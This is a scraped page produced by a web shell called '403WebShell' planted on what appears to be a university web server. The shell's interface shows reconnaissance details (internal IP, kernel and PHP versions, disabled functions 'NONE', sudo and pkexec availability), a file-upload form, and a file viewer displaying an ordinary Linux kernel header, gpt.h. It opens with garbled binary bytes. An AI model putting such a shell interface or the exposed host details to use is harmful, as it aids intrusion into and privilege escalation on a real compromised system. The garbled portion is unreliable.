403WebShell

h( )($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms��Sb�,;R''6c2I�!\��kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K��x)1�6@r*2�89ma��&��'ti��{~#��t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1��w�r��l&-t*3�<<�u��#��j&.u��J68\8?"#$%&'()*+,-./0 !
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell403Webshell

Server IP : 10.254.12.21 / Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON | cURL : ON | WGET : OFF | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /usr/src/kernels/3.10.0-1160.118.1.el7.x86_64/include/linux/

Upload File :

[ Back ]

Current File : /usr/src/kernels/3.10.0-1160.118.1.el7.x86_64/include/linux/gpt.h

/*
 * Copyright 2016 Red Hat Inc.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * Authors: Jérôme Glisse <jglisse@redhat.com>
 */
/*
 * Generic page table structure with adjustable depth. This is unlike regular
 * CPU page table use on many architecture. It is more like radix tree but it
 * uses full pages and offers more bits for flags per entry.
 *
 * Note that resizing it (increase its depth) is something relatively easy to
 * add in case someone cares.
 *
 * Note that we use the private field of root struct page to store the number
 * of levels as well as the pfn_shift values. Moreover we use _mapcount field
 * to count number of valid entry inside each directory.
 */
#ifndef _LINUX_GPT_H
#define _LINUX_GPT_H

#include <linux/mm_types.h>
#include <linux/spinlock.h>
#include <linux/gfp.h>

#ifdef CONFIG_HIGHMEM64G
#define gte_t uint64_t
#else /* CONFIG_HIGHMEM64G */
#define gte_t unsigned long
#endif /* CONFIG_HIGHMEM64G */

/* 6 level on 64 bits arch with PAGE_SHIFT=12 means 66bits of address space */
#define GPT_MAX_LEVEL 6


struct gpt {
	unsigned long		start;
	unsigned long		end;
	unsigned long		*gdp;
	atomic_t		refcount;
	spinlock_t		lock;
	uint8_t			nlevels;
	uint8_t			shift;
	uint8_t			valid_bit;
};

struct gpt *gpt_alloc(unsigned long start,
		      unsigned long end,
		      uint8_t shift,
		      uint8_t valid_bit);
void gpt_free(struct gpt *gpt);


struct gpt_walk {
	struct gpt		*gpt;
	unsigned long		start;
	unsigned long		end;
	struct page		*gtd[GPT_MAX_LEVEL];
	gte_t			*gte[GPT_MAX_LEVEL];
};

void gpt_walk_init(struct gpt_walk *walk, struct gpt *gpt);
void gpt_walk_fini(struct gpt_walk *walk);
gte_t *gpt_walk_gtep_from_addr(struct gpt_walk *walk, unsigned long addr);
gte_t *gpt_walk_populate(struct gpt_walk *walk, unsigned long addr);
void gpt_walk_prune(struct gpt_walk *walk,
		    unsigned long start,
		    unsigned long end);

typedef int (*gpt_walk_cb_t)(struct gpt_walk *walk,
			     unsigned long addr,
			     unsigned long end,
			     spinlock_t *gtl,
			     gte_t *gtep,
			     void *private);

int gpt_walk_range(struct gpt_walk *walk,
		   unsigned long start,
		   unsigned long end,
		   gpt_walk_cb_t cb,
		   void *private);


/* gpt_walk_gtd_refcount - pointer to atomic use to count valid directory entry
 * @walk: walk structure from which to extract directory level
 * @level: level for the refcount (0 is the lowest level)
 * Returns: pointer to refcount atomic or NULL if directory level is empty
 *
 * To know when we can prune (free) a directory we count number of valid entry
 * and this for all directory levels.
 */
static inline atomic_t *gpt_walk_gtd_refcount(struct gpt_walk *walk,
					      unsigned level)
{
	BUG_ON(level > walk->gpt->nlevels);

	if (walk->gpt->nlevels && (level < walk->gpt->nlevels)) {
		if (walk->gtd[level])
			return &walk->gtd[level]->_mapcount;
		return NULL;
	}
	return &walk->gpt->refcount;
}

/* gpt_walk_gtd_lock_ptr - spinlock pointer for given directory level
 * @walk: walk structure with current directory hierarchy
 * @level: level to lock (0 is the lowest level and gpt->nlevels the highest)
 * Returns: spinlock pointer for given level, NULL if directory level is empty
 *
 * To provide fine granularity locking to generic page table we use the struct
 * page spinlock. This helper just provide a pointer to the appropriate lock
 * for a given directory level.
 */
static inline spinlock_t *gpt_walk_gtd_lock_ptr(struct gpt_walk *walk,
						unsigned level)
{
	BUG_ON(level > walk->gpt->nlevels);

	if (walk->gpt->nlevels && (level < walk->gpt->nlevels)) {
		if (walk->gtd[level])
			return ptlock_ptr(walk->gtd[level]);
		return NULL;
	}
	return &walk->gpt->lock;
}

#endif /* _LINUX_GPT_H */

Youez - 2016 - github.com/yon3zu
LinuXploit